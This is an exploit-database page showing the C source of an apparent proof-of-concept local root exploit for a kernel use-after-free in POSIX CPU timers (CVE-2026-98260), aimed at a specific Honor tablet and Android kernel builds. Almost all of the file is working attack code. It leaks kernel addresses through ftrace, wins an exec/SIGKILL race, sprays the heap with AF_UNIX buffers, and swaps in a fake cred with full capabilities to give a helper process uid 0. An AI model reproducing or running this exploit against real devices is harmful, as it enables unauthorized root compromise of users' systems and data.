Exploit database

GH-5225a0f2381ae4b97f53ac973c820941

woshigenm/cve-2026-98260

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
woshigenm/cve-2026-98260Revision a3626e92f241

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/exp.c

C · 25,155 bytes
/*
 * SPDX-License-Identifier: MIT
 * Copyright (C) 2026 woshigenm <[email protected]>
 */

/*
 * CVE-2026-98260 - posix cpu timers: use-after-free after a failed exec
 * Target : Honor MagicPad3 Pro 13.3 YLP-W00 / MagicOS 10.0.0,
 *          11.0.0.109 or 11.0.0.117(SP4)
 * Kernel : 6.12.38-android16-5-gfde7767f6ef6-abogki481467632-4k (verified)
 *          6.12.58-android16-6-g3a7ac1674240-abogki541502914-4k (adapted)
 *          6.12.58-android16-6-g142ddad31e60-abogki576095858-4k (static, 117)
 * SELinux: Enforcing
 * Patches: absent
 * Mitig. : KASLR=on SMEP=on SMAP=on PAN=on; KASAN compiled but disabled
 * Status : EXP(root) - unprivileged shell obtains a live task with uid 0
 *
 * Chain:
 *  1. calibrate the linear-map base from slab page / timer allocation pairs
 *  2. spawn helper H (CLONE_VM, shared memory) and leak its task_struct
 *  3. trigger the exec/de_thread/SIGKILL race with 2048 CPU timers
 *     (victim at index 1024) so the freed k_itimer stays queued
 *  4. wait for the RCU-delayed free of the victim slab (order 1)
 *  5. reclaim that block with an 8 KiB AF_UNIX write carrying a fake cred
 *     at the stale node address
 *  6. reap the zombie; cleanup_timerqueue writes the fake cred pointer
 *     into H->cred
 *  7. repeat with a zero-valued erase to repair the uid field that the
 *     first erase overwrites with the cred slot address
 *  8. H observes getuid()==0 and geteuid()==0 through shared memory
 *
 * The helper avoids every LSM-hooked syscall after the cred swap: the fake
 * cred's security pointer is NULL, so only getuid()/geteuid() are used.
 * On any unverified state the process parks without reaping, because an
 * uncontrolled reap of the stale node panics this kernel.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdatomic.h>
#include <time.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/prctl.h>

#include "vuln_precheck.h"
#include "trace_ids.h"
#include "lifecycle.h"

#define TR "/sys/kernel/tracing"
#define CPU_TRIG 2
#define NTIMERS 2048
#define VICTIM_IDX 1024
#define VMA_COUNT 50000
#define HELPER_STACK (1 << 20)
#define LOCKERS 3
#define PAGE 4096UL
#define SOCKBUF 8192
#define MAX_SOCKS 1024

#define STATIC_TIMER_SITE  (cve98260_active_profile->timer_site)
#define STATIC_TASK_SITE   (cve98260_active_profile->task_site)
#define STATIC_ROOT_USER   (cve98260_active_profile->root_user)
#define STATIC_INIT_USERNS (cve98260_active_profile->init_user_ns)
#define STATIC_INIT_GROUPS (cve98260_active_profile->init_groups)
#define STATIC_INIT_UCOUNTS (cve98260_active_profile->init_ucounts)

#define TIMER_SITE_LOW21 (cve98260_active_profile->timer_low21)
#define TASK_SITE_LOW21  (cve98260_active_profile->task_low21)
#define TASK_ALLOC 0x1640ULL
#define TIMER_ALLOC 0x100ULL
#define CAP_FULL 0x1ffffffffffULL

struct ev {
    unsigned type;
    int pid;
    unsigned long long site, ptr, req, alloc;
    unsigned long long pfn;
    unsigned order;
    unsigned long long gfp;
};

static _Atomic int g_go, g_stop, g_locker_started, g_locker_cpu;
static _Atomic int g_exec_tid, g_target_tgid;
static void *g_frag_base;
static size_t g_frag_len;
static int g_ready_w = -1, g_ack_r = -1, g_tid_w = -1;
static int g_cpu = CPU_TRIG;
static unsigned long long g_base;
static volatile int g_root_seen, g_last_uid = -1, g_last_euid = -1;

static int wr(const char *p, const char *s)
{
    int fd = open(p, O_WRONLY);
    if (fd < 0) return -1;
    int r = write(fd, s, strlen(s));
    close(fd);
    return r < 0 ? -1 : 0;
}
static void pin(int cpu)
{
    cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set);
    sched_setaffinity(0, sizeof(set), &set);
}
static unsigned u32(const unsigned char *b, size_t o){unsigned v;memcpy(&v,b+o,4);return v;}
static unsigned long long u64(const unsigned char *b, size_t o){unsigned long long v;memcpy(&v,b+o,8);return v;}

static void enable_events(void)
{
    static const char *evs[] = {
        "enable_event:kmem:kmem_cache_alloc\n",
        "enable_event:kmem:mm_page_free\n",
        "enable_event:kmem:mm_page_alloc\n",
    };
    for (unsigned i = 0; i < sizeof(evs)/sizeof(evs[0]); i++)
        wr(TR "/events/kmem/rss_stat/trigger", evs[i]);
}

static void drain_cpu(int cpu)
{
    unsigned char tmp[65536];
    char path[128];
    snprintf(path, sizeof(path), TR "/per_cpu/cpu%d/trace_pipe_raw", cpu);
    int fd = open(path, O_RDONLY | O_NONBLOCK);
    if (fd < 0) return;
    while (read(fd, tmp, sizeof(tmp)) > 0)
        ;
    close(fd);
}
static void trace_start(void)
{
    wr(TR "/tracing_on", "0");
    wr(TR "/trace", "\n");
    drain_cpu(g_cpu);
    wr(TR "/tracing_on", "1");
}
static void trace_stop(void) { wr(TR "/tracing_on", "0"); }

static long read_cpu(int cpu, unsigned char *buf, size_t cap)
{
    char path[128]; size_t tot = 0;
    snprintf(path, sizeof(path), TR "/per_cpu/cpu%d/trace_pipe_raw", cpu);
    int fd = open(path, O_RDONLY | O_NONBLOCK);
    if (fd < 0) return -1;
    while (tot < cap) {
        ssize_t r = read(fd, buf + tot, cap - tot);
        if (r <= 0) break;
        tot += (size_t)r;
    }
    close(fd);
    return (long)tot;
}

static int parse_events(const unsigned char *b, size_t n, struct ev *out, int max)
{
    int cnt = 0;
    for (size_t base = 0; base + PAGE <= n; base += PAGE) {
        unsigned long long commit = u64(b, base + 8);
        size_t o = base + 16, end = base + 16 + commit;
        if (end > base + PAGE) end = base + PAGE;
        while (o + 4 <= end) {
            unsigned hdr = u32(b, o), tl = hdr & 31, td = hdr >> 5;
            size_t total; int data = 0;
            if (tl == 29) { if (!td) break; total = 4 + u32(b,o+4); }
            else if (tl == 30 || tl == 31) total = 8;
            else if (tl == 0) { total = 4 + u32(b,o+4); data = 1; }
            else { total = 4 + tl * 4; data = 1; }
            size_t p = o + (tl == 0 ? 8 : 4);
            if (data && total >= 28 && p + 28 <= end && cnt < max) {
                unsigned type = u32(b,p) & 0xffff;
                if (type == EV_KMEM_CACHE_ALLOC || type == EV_KMALLOC) {
                    struct ev *e = &out[cnt++];
                    e->type = type;
                    memcpy(&e->pid, b+p+4, 4);
                    e->site = u64(b,p+8);
                    e->ptr = u64(b,p+16);
                    e->req = u64(b,p+24);
                    e->alloc = u64(b,p+32);
                } else if (type == EV_MM_PAGE_FREE || type == EV_MM_PAGE_ALLOC) {
                    struct ev *e = &out[cnt++];
                    e->type = type;
                    memcpy(&e->pid, b+p+4, 4);
                    e->pfn = u64(b,p+8);
                    e->order = u32(b,p+16);
                    e->gfp = u64(b,p+24);
                }
            }
            if (total < 4) break;
            o += total;
        }
    }
    return cnt;
}

static unsigned long long calibrate_base(unsigned char *raw, struct ev *evs)
{
    unsigned long long hist[64] = {0}; int hcnt[64] = {0}; int hc = 0;
    unsigned long long recent[32] = {0}; int rn = 0;
    int made = 0;
    enable_events();
    trace_start();
    for (int i = 0; i < 512; i++) {
        struct sigevent ev; timer_t t;
        memset(&ev, 0, sizeof(ev)); ev.sigev_notify = SIGEV_NONE;
        if (timer_create(CLOCK_MONOTONIC, &ev, &t))
            break;
        made++;
    }
    usleep(3000);
    trace_stop();
    long n = read_cpu(g_cpu, raw, 32u << 20);
    int c = n > 0 ? parse_events(raw, (size_t)n, evs, 300000) : 0;
    for (int i = 0; i < c; i++) {
        if (evs[i].type == EV_MM_PAGE_ALLOC && evs[i].order == 1) {
            if (rn < 32) recent[rn++] = evs[i].pfn;
            else {
                memmove(recent, recent + 1, 31 * sizeof(recent[0]));
                recent[31] = evs[i].pfn;
            }
        } else if (evs[i].type == EV_KMEM_CACHE_ALLOC &&
                   (evs[i].site & 0x1fffff) == TIMER_SITE_LOW21 && rn) {
            unsigned long long slab = evs[i].ptr & ~0x1fffULL;
            for (int j = 0; j < rn; j++) {
                unsigned long long b = slab - (recent[j] << 12);
                int f = 0;
                for (int k = 0; k < hc; k++)
                    if (hist[k] == b) { hcnt[k]++; f = 1; break; }
                if (!f && hc < 64) { hist[hc] = b; hcnt[hc] = 1; hc++; }
            }
        }
    }
    unsigned long long best = 0; int bestc = 0;
    for (int k = 0; k < hc; k++)
        if (hcnt[k] > bestc) { bestc = hcnt[k]; best = hist[k]; }
    printf("[base] made=%d best=%#llx count=%d\n", made, best, bestc);
    return bestc >= 4 ? best : 0;
}

static int helper_fn(void *x)
{
    (void)x;
    pin(1);
    prctl(PR_SET_NAME, "yhelp", 0, 0, 0);
    for (;;) {
        int u = (int)syscall(SYS_getuid);
        int e = (int)syscall(SYS_geteuid);
        g_last_uid = u; g_last_euid = e;
        if (u == 0 && e == 0) {
            g_root_seen = 1;
            for (;;)
                __asm__ volatile("" ::: "memory");
        }
        usleep(1000);
    }
    return 0;
}

static unsigned long long leak_helper(unsigned char *raw, struct ev *evs, pid_t *out_h)
{
    void *st = mmap(NULL, HELPER_STACK, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (st == MAP_FAILED) return 0;
    trace_start();
    pid_t p = clone(helper_fn, (char *)st + HELPER_STACK, CLONE_VM | SIGCHLD, NULL);
    usleep(3000);
    trace_stop();
    if (p < 0) { printf("[-] helper clone failed: %s\n", strerror(errno)); return 0; }
    *out_h = p;
    long n = read_cpu(g_cpu, raw, 32u << 20);
    int c = n > 0 ? parse_events(raw, (size_t)n, evs, 300000) : 0;
    unsigned long long th = 0;
    int self = (int)syscall(SYS_gettid);
    for (int i = 0; i < c; i++)
        if ((evs[i].type == EV_KMEM_CACHE_ALLOC || evs[i].type == EV_KMALLOC) &&
            evs[i].pid == self && evs[i].req == TASK_ALLOC &&
            evs[i].alloc == TASK_ALLOC &&
            (evs[i].site & 0x1fffff) == TASK_SITE_LOW21)
            th = evs[i].ptr;
    printf("[task] helper=%d TH=%#llx\n", p, th);
    return th;
}

static int prepare_fragmented_range(void)
{
    size_t len = (size_t)VMA_COUNT * PAGE;
    int fd = (int)syscall(SYS_memfd_create, "vma-page", 1);
    void *base;
    if (fd < 0 || ftruncate(fd, PAGE)) return -1;
    base = mmap(NULL, len, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (base == MAP_FAILED) return -1;
    for (unsigned long i = 0; i < VMA_COUNT; i++) {
        void *want = (char *)base + i * PAGE;
        if (mmap(want, PAGE, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) != want)
            return -1;
    }
    close(fd);
    g_frag_base = base; g_frag_len = len;
    return 0;
}

static int locker_fn(void *x)
{
    int prot = PROT_NONE;
    unsigned slot = (unsigned)atomic_fetch_add(&g_locker_cpu, 1);
    (void)x;
    pin(slot ? 3 : 1);
    while (!atomic_load(&g_go)) sched_yield();
    atomic_fetch_add(&g_locker_started, 1);
    while (!atomic_load(&g_stop)) {
        syscall(SYS_mprotect, g_frag_base, g_frag_len, prot);
        prot = prot == PROT_NONE ? PROT_READ : PROT_NONE;
    }
    _exit(0);
}
static int killer_fn(void *x)
{
    int tid, tgid;
    (void)x;
    pin(2);
    while (!(tid = atomic_load(&g_exec_tid))) sched_yield();
    tgid = atomic_load(&g_target_tgid);
    for (;;) {
        long r = syscall(SYS_tgkill, tgid, tid, 0);
        if (r < 0 && errno == ESRCH) break;
        sched_yield();
    }
    syscall(SYS_tgkill, tgid, tgid, SIGKILL);
    atomic_store(&g_stop, 1);
    _exit(0);
}
static int spawn_vm_helper(int (*fn)(void *))
{
    void *st = mmap(NULL, HELPER_STACK, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (st == MAP_FAILED) return -1;
    int p = clone(fn, (char *)st + HELPER_STACK, CLONE_VM | SIGCHLD, NULL);
    if (p < 0) munmap(st, HELPER_STACK);
    return p;
}

static void *exec_thread(void *x)
{
    struct sigevent ev_none, ev_victim;
    struct itimerspec dormant;
    char b = 'R', ack;
    char *const argv[] = { (char *)"", NULL };
    char *const envp[] = { NULL };
    (void)x;
    pin(2);
    prctl(PR_SET_NAME, "yexec", 0, 0, 0);
    memset(&ev_none, 0, sizeof(ev_none));
    ev_none.sigev_notify = SIGEV_NONE;
    memset(&ev_victim, 0, sizeof(ev_victim));
    ev_victim.sigev_notify = SIGEV_SIGNAL;
    ev_victim.sigev_signo = SIGRTMIN;
    memset(&dormant, 0, sizeof(dormant));
    dormant.it_value.tv_sec = 3600;

    if (write(g_ready_w, &b, 1) != 1) _exit(117);
    if (read(g_ack_r, &ack, 1) != 1) _exit(118);

    for (int i = 0; i < NTIMERS; i++) {
        timer_t t;
        struct sigevent *e = (i == VICTIM_IDX) ? &ev_victim : &ev_none;
        if (timer_create(CLOCK_THREAD_CPUTIME_ID, e, &t)) _exit(120);
        if (i == VICTIM_IDX && timer_settime(t, 0, &dormant, NULL)) _exit(121);
    }
    {
        int tid = (int)syscall(SYS_gettid);
        atomic_store(&g_exec_tid, tid);
        if (write(g_tid_w, &tid, sizeof(tid)) != sizeof(tid)) _exit(122);
    }
    atomic_store(&g_go, 1);
    while (atomic_load(&g_locker_started) < LOCKERS) sched_yield();
    for (volatile unsigned long i = 0; i < 5000000UL; i++)
        __asm__ volatile("" ::: "memory");
    execve("/proc/self/exe", argv, envp);
    _exit(123);
}

static void run_target(void)
{
    pthread_t th;
    sigset_t set;
    atomic_store(&g_target_tgid, (int)getpid());
    pin(2);
    if (prepare_fragmented_range()) _exit(110);
    for (int i = 0; i < LOCKERS; i++)
        if (spawn_vm_helper(locker_fn) < 0) _exit(111);
    if (spawn_vm_helper(killer_fn) < 0) _exit(112);
    sigemptyset(&set); sigaddset(&set, SIGRTMIN);
    pthread_sigmask(SIG_BLOCK, &set, NULL);
    if (pthread_create(&th, NULL, exec_thread, NULL)) _exit(114);
    for (;;) sched_yield();
}

static int wait_zombie(pid_t pid, siginfo_t *si)
{
    struct timespec pause = { .tv_nsec = 10000000 };
    for (int i = 0; i < 400; i++) {
        memset(si, 0, sizeof(*si));
        if (waitid(P_PID, (id_t)pid, si, WEXITED | WNOHANG | WNOWAIT))
            return -1;
        if (si->si_pid == pid) return 0;
        nanosleep(&pause, NULL);
    }
    return -1;
}

static long now_ms(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return (long)ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
}

static void park_forever(const char *why)
{
    printf("[!] %s -- parking without reap (zombie held)\n", why);
    fflush(stdout);
    for (;;)
        pause();
}

static void build_payload(unsigned char *buf, unsigned long long A, unsigned long long S,
                          unsigned long long slide, size_t blob_off)
{
    memset(buf, 0, SOCKBUF);
    unsigned char *c = buf + blob_off;
    *(unsigned long long *)(c + 0x00) = A;
    *(unsigned long long *)(c + 0x08) = 0;
    *(unsigned long long *)(c + 0x10) = S;
    *(unsigned long long *)(c + 0x18) = 0;
    *(unsigned long long *)(c + 0x20) = 0;
    *(unsigned long long *)(c + 0x28) = 0;
    *(unsigned long long *)(c + 0x30) = CAP_FULL;
    *(unsigned long long *)(c + 0x38) = CAP_FULL;
    *(unsigned long long *)(c + 0x40) = CAP_FULL;
    *(unsigned long long *)(c + 0x48) = CAP_FULL;
    *(unsigned long long *)(c + 0x50) = CAP_FULL;
    *(unsigned long long *)(c + 0x80) = 0;
    *(unsigned long long *)(c + 0x88) = slide + STATIC_ROOT_USER;
    *(unsigned long long *)(c + 0x90) = slide + STATIC_INIT_USERNS;
    *(unsigned long long *)(c + 0x98) = slide + STATIC_INIT_UCOUNTS;
    *(unsigned long long *)(c + 0xa0) = slide + STATIC_INIT_GROUPS;
}

static void build_zero(unsigned char *buf, size_t off, unsigned long long S)
{
    memset(buf, 0, SOCKBUF);
    *(unsigned long long *)(buf + off + 0x10) = S;
}

#define SPRAY_THREADS 4
#define SPRAY_SOCKS 2048
static _Atomic int g_burst, g_stop_spray;
static int g_pool[SPRAY_SOCKS][2];
static int g_pool_n;
static int g_rawfd[8] = { -1, -1, -1, -1, -1, -1, -1, -1 };

struct spray_arg {
    unsigned char *payload;
    int sock_first, sock_count, cpu;
};

static void ensure_pool(void)
{
    int snd = 16 << 20;

    if (g_pool_n)
        return;
    for (int i = 0; i < SPRAY_SOCKS; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, g_pool[i]))
            break;
        setsockopt(g_pool[i][0], SOL_SOCKET, SO_SNDBUF, &snd, sizeof(snd));
        setsockopt(g_pool[i][1], SOL_SOCKET, SO_RCVBUF, &snd, sizeof(snd));
        g_pool_n++;
    }
    if (!g_pool_n)
        park_forever("no spray sockets");
}

static void ensure_raw(void)
{
    for (int cpu = 0; cpu < 8; cpu++) {
        char path[128];

        if (g_rawfd[cpu] >= 0)
            continue;
        snprintf(path, sizeof(path), TR "/per_cpu/cpu%d/trace_pipe_raw", cpu);
        g_rawfd[cpu] = open(path, O_RDONLY | O_NONBLOCK);
    }
}

static long read_fd(int fd, unsigned char *buf, size_t cap)
{
    size_t tot = 0;

    if (fd < 0)
        return 0;
    while (tot < cap) {
        ssize_t r = read(fd, buf + tot, cap - tot);

        if (r <= 0)
            break;
        tot += (size_t)r;
    }
    return (long)tot;
}

static void *spray_thread(void *x)
{
    struct spray_arg *a = x;
    int w = 0;

    pin(a->cpu);
    while (!atomic_load(&g_burst))
        sched_yield();
    while (!atomic_load(&g_stop_spray) && w < 8000) {
        int k = a->sock_first + (w % a->sock_count);

        (void)write(g_pool[k][0], a->payload, SOCKBUF);
        w++;
    }
    return NULL;
}

struct plant_res { unsigned long long V, A, slab_pfn; int ok; };

static void run_plant(unsigned long long TH, int mode, unsigned long long target,
                      struct plant_res *res, unsigned char *raw, struct ev *evs)
{
    int ready_p[2], ack_p[2], tid_p[2];
    memset(res, 0, sizeof(*res));
    if (pipe(ready_p) || pipe(ack_p) || pipe(tid_p))
        park_forever("pipe failed");
    pid_t T = fork();
    if (T < 0) park_forever("fork failed");
    if (T == 0) {
        close(ready_p[0]); close(ack_p[1]); close(tid_p[0]);
        g_ready_w = ready_p[1]; g_ack_r = ack_p[0]; g_tid_w = tid_p[1];
        run_target();
        _exit(115);
    }
    close(ready_p[1]); close(ack_p[0]); close(tid_p[1]);
    char ch;
    if (read(ready_p[0], &ch, 1) != 1) {
        printf("[-] plant%d trigger never ready\n", mode);
        kill(T, SIGKILL);
        waitpid(T, 0, 0);
        park_forever("trigger never ready");
    }
    trace_start();
    if (write(ack_p[1], "A", 1) != 1)
        printf("[-] ack failed\n");
    int etid = 0;
    if (read(tid_p[0], &etid, sizeof(etid)) != sizeof(etid))
        printf("[-] exec tid not received\n");

    siginfo_t si;
    if (wait_zombie(T, &si)) {
        trace_stop();
        park_forever("trigger did not leave a zombie");
    }
    trace_stop();
    printf("[+] plant%d target=%d etid=%d zombie code=%d status=%d\n",
           mode, T, etid, si.si_code, si.si_status);
    if (si.si_code != CLD_KILLED)
        park_forever("reap was not SIGKILL");

    long n = read_cpu(g_cpu, raw, 48u << 20);
    int c = n > 0 ? parse_events(raw, (size_t)n, evs, 400000) : 0;
    unsigned long long V = 0, site0 = 0;
    int nrec = 0;
    for (int i = 0; i < c; i++) {
        if (evs[i].type == EV_KMEM_CACHE_ALLOC && evs[i].pid == etid &&
            (evs[i].site & 0x1fffff) == TIMER_SITE_LOW21 &&
            evs[i].alloc == TIMER_ALLOC && evs[i].req == TIMER_ALLOC) {
            if (nrec == 0) site0 = evs[i].site;
            if (nrec == VICTIM_IDX) V = evs[i].ptr;
            nrec++;
        }
    }
    if (!V || !site0) park_forever("victim timer not captured");
    unsigned long long slide = site0 - STATIC_TIMER_SITE;
    unsigned long long pfn = (V - g_base) >> 12;
    unsigned long long slab_pfn = pfn & ~1ULL;
    int free_seen = 0;
    for (int i = 0; i < c; i++)
        if (evs[i].type == EV_MM_PAGE_FREE && evs[i].order == 1 && evs[i].pfn == slab_pfn)
            free_seen = 1;
    printf("[+] plant%d V=%#llx A=%#llx pfn=%#llx slab=%#llx slide=%#llx free_seen=%d recs=%d\n",
           mode, V, V + 0x78, pfn, slab_pfn, slide, free_seen, nrec);
    if ((V & 0x1fff) == 0x1f00)
        park_forever("victim slot crosses the slab end");

    size_t off = (size_t)((V & 0x1fff) + 0x78);
    unsigned char *payload = malloc(SOCKBUF);
    if (!payload) park_forever("payload alloc failed");
    if (mode == 1)
        build_payload(payload, V + 0x78, TH + 0x900, slide, off);
    else
        build_zero(payload, off, target + 8);

    ensure_pool();
    ensure_raw();
    atomic_store(&g_burst, 0);
    atomic_store(&g_stop_spray, 0);
    trace_start();
    for (int cpu = 0; cpu < 8; cpu++)
        (void)read_fd(g_rawfd[cpu], raw, 32u << 20);
    long t0 = now_ms();
    if (!free_seen) {
        while (!free_seen && now_ms() - t0 < 8000) {
            for (int cpu = 0; cpu < 8 && !free_seen; cpu++) {
                long m = read_fd(g_rawfd[cpu], raw, 32u << 20);
                int k = m > 0 ? parse_events(raw, (size_t)m, evs, 400000) : 0;

                for (int j = 0; j < k; j++)
                    if (evs[j].type == EV_MM_PAGE_FREE && evs[j].order == 1 &&
                        evs[j].pfn == slab_pfn)
                        free_seen = 1;
            }
            if (!free_seen)
                usleep(100);
        }
    }
    printf("[+] plant%d free_seen=%d after %ldms\n", mode, free_seen, now_ms() - t0);
    if (!free_seen) {
        trace_stop();
        park_forever("victim slab page was not freed");
    }

    atomic_store(&g_burst, 1);
    pthread_t th[SPRAY_THREADS];
    struct spray_arg args[SPRAY_THREADS];
    int per = g_pool_n / SPRAY_THREADS;

    for (int i = 0; i < SPRAY_THREADS; i++) {
        args[i].payload = payload;
        args[i].sock_first = i * per;
        args[i].sock_count = per;
        args[i].cpu = 3 + i;
        pthread_create(&th[i], NULL, spray_thread, &args[i]);
    }
    long t1 = now_ms();
    int hit = 0;

    while (!hit && now_ms() - t1 < 4000) {
        for (int cpu = 0; cpu < 8 && !hit; cpu++) {
            long m = read_fd(g_rawfd[cpu], raw, 32u << 20);
            int k = m > 0 ? parse_events(raw, (size_t)m, evs, 400000) : 0;

            for (int j = 0; j < k; j++)
                if (evs[j].type == EV_MM_PAGE_ALLOC && evs[j].order == 1 &&
                    evs[j].pfn == slab_pfn && (evs[j].gfp & 0x400000ULL))
                    hit = 1;
        }
        if (!hit)
            usleep(50);
    }
    atomic_store(&g_stop_spray, 1);
    for (int i = 0; i < SPRAY_THREADS; i++)
        pthread_join(th[i], NULL);
    trace_stop();
    printf("[+] plant%d burst hit=%d after %ldms\n", mode, hit, now_ms() - t1);
    if (!hit) park_forever("target slab page not reclaimed by the burst");

    int st = 0;
    waitpid(T, &st, 0);
    printf("[+] plant%d reaped status=%#x\n", mode, st);
    res->V = V; res->A = V + 0x78; res->slab_pfn = slab_pfn; res->ok = 1;
    free(payload);
}

static int exp_worker_main(int argc, char **argv)
{
    unsigned char *raw = malloc(48u << 20);
    struct ev *evs = malloc(sizeof(*evs) * 400000);
    if (!raw || !evs) return 1;
    if (argc > 2 && !strcmp(argv[1], "cpu")) g_cpu = atoi(argv[2]);

    if (argv[0] && argv[0][0] == '\0')
        _exit(42);

    {
        int pc = vuln_precheck("exp", argc, argv, 1, 1);
        if (pc == CVE98260_PRECHECK_EXIT_OK)
            return 0;
        if (pc != 0)
            return 2;
    }
    if (!cve98260_active_profile) {
        printf("[-] no matching kernel profile\n");
        return 2;
    }

    pin(g_cpu);
    if (cve98260_trace_ids_init(g_cpu, 0, 0) != 0) {
        printf("[-] trace event id probe failed\n");
        return 1;
    }
    printf("[+] pid=%d cpu=%d\n", getpid(), g_cpu);
    enable_events();
    cve98260_tid_kick();

    g_base = calibrate_base(raw, evs);
    if (!g_base) { printf("[-] base calibration failed\n"); return 1; }

    pid_t H = -1;
    unsigned long long TH = leak_helper(raw, evs, &H);
    if (!TH) { printf("[-] helper task leak failed\n"); return 1; }
    ensure_pool();
    ensure_raw();

    struct plant_res r1;
    run_plant(TH, 1, 0, &r1, raw, evs);
    for (int i = 0; i < 500 && g_last_euid != 0; i++)
        usleep(1000);
    printf("[+] after plant1 uid=%d euid=%d (A1=%#llx)\n",
           g_last_uid, g_last_euid, r1.A);
    if (g_last_euid != 0)
        printf("[!] helper euid not 0 after plant1; continuing anyway\n");

    struct plant_res r2;
    run_plant(TH, 2, r1.A, &r2, raw, evs);

    for (int i = 0; i < 3000 && !g_root_seen; i++)
        usleep(1000);
    printf("[+] final uid=%d euid=%d root_seen=%d\n",
           g_last_uid, g_last_euid, g_root_seen);
    if (g_root_seen)
        printf("[+] SUCCESS: helper runs with uid 0 euid 0\n");
    else
        printf("[-] helper did not observe uid 0\n");
    fflush(stdout);
    for (;;)
        pause();
    return 0;
}

int main(int argc, char **argv)
{
    cve_lifecycle_ignore_signals();
    if (argc > 0 && argv[0] && argv[0][0] == '\0')
        return exp_worker_main(argc, argv);
    return cve_lifecycle_supervise(exp_worker_main, argc, argv);
}